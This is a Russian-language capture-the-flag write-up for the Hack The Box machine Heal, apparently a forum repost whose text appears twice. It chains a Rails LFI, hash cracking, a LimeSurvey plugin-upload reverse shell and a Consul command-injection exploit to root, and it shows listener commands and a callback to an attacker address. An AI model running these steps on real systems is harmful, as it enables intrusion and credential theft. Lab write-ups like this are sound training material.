stihl не предоставил(а) никакой дополнительной информации.
Сегодня я покажу, как эксплуатировать уязвимость локального включения файлов (LFI) в проекте на Ruby on Rails. Также используем RCE-уязвимость в LimeSurvey, а после получения сессии на сервере повысим свои привилегии через баг в API системы Consul.
Наша конечная цель — получение прав суперпользователя на машине Heal с учебной площадки Hack The Box. Уровень сложности задания — средний.
И запускаем сканирование портов.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел два открытых порта:
Главная страница сайта
Запросы в Burp History
Обновляем запись в файле /etc/hosts и просматриваем найденный сайт. Там нас ожидает Rails 7.1.4.
Главная страница api.heal.htb
Теперь, когда api.heal.htb доступен, возвращаемся и регистрируемся на основном сайте. После авторизации получим редирект на страницу /resume, где предлагается отправить персональную информацию.
Содержимое страницы /resume
В меню сайта есть еще две ссылки. Пункт Survey ведет на новый поддомен take-survey.
Переадресация на новый поддомен
Как всегда, обновляем запись в файле /etc/hosts:
Содержимое страницы
Обратившись к корневому каталогу сайта, мы узнаем, что используется технология LimeSurvey — инструмент с открытым исходным кодом для быстрого создания анкет, голосований и опросов.
Главная страница сайта
Страница авторизации доступна по дефолтному адресу:
Страница авторизации LimeSurvey
На новом поддомене больше ничего интересного, поэтому возвращаемся на основной сайт и находим внизу страницы Resume кнопку для экспорта в PDF.
Содержимое страницы /resume
Однако на страницу /download отправляется запрос только методом OPTIONS.
Burp History
Перекидываем запрос в Burp Repeater, изменяем метод на GET и из ответа сервера понимаем, что необходимо предоставить аутентификатор.
Запрос в Burp Repeater
Из любого запроса в Burp History копируем токен и повторяем загрузку файла.
Запрос в Burp Repeater
Получаем содержимое файла, а значит, стоит проверить наличие LFI.
Содержимое файла
Успешно получаем результат.
Теперь нужно понять, из каких файлов, относящихся к технологии Rails, мы сможем получить что‑нибудь полезное для продвижения. Иногда удобно обратиться за кратким списком таких важных файлов к ChatGPT.
Ответ ChatGPT
Читаем файл config/database.yml и получаем настройки для подключения к базе данных. Там же указан и файл базы данных SQLite: storage/development.sqlite3.
Содержимое файла database.yml
Запрашиваем содержимое файла development.sqlite3 и видим в ответе что‑то похожее на хеш.
Содержимое файла
Судя по формату хеша, на сервере применяется алгоритм хеширования bcrypt. Для брута используем hashcat с режимом 3200.
Результат подбора пароля
С полученным паролем авторизуемся в системе LimeSurvey как пользователь‑администратор ralph.
Панель администратора LimeSurvey
Версия LimeSurvey
Первым делом стоит проверить, есть ли для нее готовые эксплоиты. За этим для начала идем в Google.
Поиск эксплоитов в Google
Третья ссылка Для просмотра ссылки Войдиили Зарегистрируйся на GitHub. Там описаны шаги по установке своего плагина, а также даны шаблоны настроек. Откроем файл config.xml и добавим в него информацию о совместимости с версией 6.0.
Содержимое файла config.xml
В файле php-rev.php указываем адрес и порт своего сервера. На том же порте запускаем листенер (pwncat-cs -lp 4321).
Содержимое файла php-rev.php
Когда оба файла готовы, упаковываем их в zip-архив. Это наш плагин, который даст RCE.
Для установки плагина переходим в «Настройки → Плагины».
Меню LimeSurvey
На странице «Плагины» кликаем на «Загрузить и установить» и указываем созданный архив. Затем нужно подтвердить установку плагина.
Страница «Плагины»
Подтверждение установки плагина
Осталось найти в списке плагинов свой (он будет последним) и активировать его.
Активация плагина
Когда плагин будет активирован, обратимся к нашему реверс‑шеллу:
И сразу в окне листенера появится сессия www-data.
Сессия www-data
Содержимое каталога config
А в нем — пароль для подключения к СУБД PostgreSQL.
Содержимое файла config.php
Часто один и тот же пароль используют для нескольких сервисов. Пробуем применить найденный пароль для SSH и успешно авторизуемся от имени пользователя ron.
Флаг пользователя
или Зарегистрируйся (PEASS) — набор скриптов, которые проверяют систему на автомате и выдают подробный отчет о потенциально интересных файлах, процессах и настройках.
Загрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Затем внимательно изучим результаты и поищем среди них потенциально полезную информацию.
В списке работающих процессов есть consul, и на хосте прослушивается порт 8500.
Дерево процессов
Прослушиваемые порты
Так как порт прослушивается для локального хоста, необходимо «прокинуть» порт 8500 на свой хост с помощью SSH.
Теперь весь трафик, который мы пошлем на локальный порт 8500, будет туннелирован на порт 8500 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь можем открыть сайт в браузере и изучить.
Страница Services
На странице отображается версия приложения — 1.19.2. Снова отправляемся в Google в поисках готовых эксплоитов и описаний известных уязвимостей.
Поиск эксплоитов в Google
По первой же ссылке нам доступен Для просмотра ссылки Войдиили Зарегистрируйся. Этот скрипт эксплуатирует баг OS Command Injection в Services API Consul. Уязвимость содержится в эндпоинте API /v1/agent/service/register.
Внедряемая команда (в эксплоите это реверс‑шелл) передается в параметре check.Args. Запустим листенер (rlwrap nc -nlvp 4321) и выполним эксплоит. Моментально получаем сессию в контексте пользователя root.
Выполнение эксплоита
Флаг рута
Машина захвачена!
Наша конечная цель — получение прав суперпользователя на машине Heal с учебной площадки Hack The Box. Уровень сложности задания — средний.
warning
Подключаться к машинам с HTB рекомендуется с применением средств анонимизации и виртуализации. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:10.10.11.46 heal.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
Код:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '
' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Сканер нашел два открытых порта:
- 22 — служба OpenSSH 8.9p1;
- 80 — веб‑сервер Nginx 1.18.0.
Точка входа
На самом сайте ничего интересного не находим. Зато, изучая историю запросов в Burp History, видим обращения к API на домене api.heal.htb.Обновляем запись в файле /etc/hosts и просматриваем найденный сайт. Там нас ожидает Rails 7.1.4.
10.10.11.46 heal.htb api.heal.htb
Теперь, когда api.heal.htb доступен, возвращаемся и регистрируемся на основном сайте. После авторизации получим редирект на страницу /resume, где предлагается отправить персональную информацию.
В меню сайта есть еще две ссылки. Пункт Survey ведет на новый поддомен take-survey.
Как всегда, обновляем запись в файле /etc/hosts:
10.10.11.46 heal.htb api.heal.htb take-survey.heal.htb
Обратившись к корневому каталогу сайта, мы узнаем, что используется технология LimeSurvey — инструмент с открытым исходным кодом для быстрого создания анкет, голосований и опросов.
Страница авторизации доступна по дефолтному адресу:
index.php/admin/authentication/sa/login
На новом поддомене больше ничего интересного, поэтому возвращаемся на основной сайт и находим внизу страницы Resume кнопку для экспорта в PDF.
Однако на страницу /download отправляется запрос только методом OPTIONS.
Перекидываем запрос в Burp Repeater, изменяем метод на GET и из ответа сервера понимаем, что необходимо предоставить аутентификатор.
Из любого запроса в Burp History копируем токен и повторяем загрузку файла.
Получаем содержимое файла, а значит, стоит проверить наличие LFI.
Точка опоры
LFI
Для теста наличия уязвимости LFI попробуем указать файл /etc/passwd с обходом каталога./etc/passwd
Успешно получаем результат.
Теперь нужно понять, из каких файлов, относящихся к технологии Rails, мы сможем получить что‑нибудь полезное для продвижения. Иногда удобно обратиться за кратким списком таких важных файлов к ChatGPT.
Читаем файл config/database.yml и получаем настройки для подключения к базе данных. Там же указан и файл базы данных SQLite: storage/development.sqlite3.
Запрашиваем содержимое файла development.sqlite3 и видим в ответе что‑то похожее на хеш.
development.sqlite3
Судя по формату хеша, на сервере применяется алгоритм хеширования bcrypt. Для брута используем hashcat с режимом 3200.
hashcat -m 3200 hash.txt ~/tools/wordlists/Passwords/rockyou.txt
С полученным паролем авторизуемся в системе LimeSurvey как пользователь‑администратор ralph.
LimeSurvey RCE
Внизу страницы мы можем увидеть версию CMS — 6.6.4.Первым делом стоит проверить, есть ли для нее готовые эксплоиты. За этим для начала идем в Google.
Третья ссылка Для просмотра ссылки Войди
В файле php-rev.php указываем адрес и порт своего сервера. На том же порте запускаем листенер (pwncat-cs -lp 4321).
Когда оба файла готовы, упаковываем их в zip-архив. Это наш плагин, который даст RCE.
zip ralf.zip config.xml php-rev.php
Для установки плагина переходим в «Настройки → Плагины».
На странице «Плагины» кликаем на «Загрузить и установить» и указываем созданный архив. Затем нужно подтвердить установку плагина.
Осталось найти в списке плагинов свой (он будет последним) и активировать его.
Когда плагин будет активирован, обратимся к нашему реверс‑шеллу:
/upload/plugins/Y1LD1R1M/php-rev.php
И сразу в окне листенера появится сессия www-data.
Продвижение
Так как мы работаем в контексте учетной записи веб‑сервера, а на хосте есть веб‑приложение, мы можем заглянуть в его исходники в поисках учетных данных. Обычно там указаны параметры подключения к базе данных, в том числе логин и пароль. В каталоге Application/config есть файл config.php.А в нем — пароль для подключения к СУБД PostgreSQL.
Часто один и тот же пароль используют для нескольких сервисов. Пробуем применить найденный пароль для SSH и успешно авторизуемся от имени пользователя ron.
Локальное повышение привилегий
Мы зашли от имени пользователя, а значит, дальше остается повысить привилегии до рута. В Linux много вещей, которые потенциально могут с этим помочь, и проверять их вручную долго. Я буду использовать для этого скрипты PEASS.Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Для просмотра ссылки ВойдиЗагрузим на удаленный хост скрипт для Linux, дадим право на выполнение и запустим сканирование. Затем внимательно изучим результаты и поищем среди них потенциально полезную информацию.
В списке работающих процессов есть consul, и на хосте прослушивается порт 8500.
Так как порт прослушивается для локального хоста, необходимо «прокинуть» порт 8500 на свой хост с помощью SSH.
ssh -L 8500:127.0.0.1:8500 [EMAIL]ron@heal.htb[/EMAIL]
Теперь весь трафик, который мы пошлем на локальный порт 8500, будет туннелирован на порт 8500 указанного хоста (в данном случае 127.0.0.1) через SSH-хост. Теперь можем открыть сайт в браузере и изучить.
На странице отображается версия приложения — 1.19.2. Снова отправляемся в Google в поисках готовых эксплоитов и описаний известных уязвимостей.
По первой же ссылке нам доступен Для просмотра ссылки Войди
Внедряемая команда (в эксплоите это реверс‑шелл) передается в параметре check.Args. Запустим листенер (rlwrap nc -nlvp 4321) и выполним эксплоит. Моментально получаем сессию в контексте пользователя root.
python3 exp.py 127.0.0.1 8500 10.10.16.63 4321 0
Машина захвачена!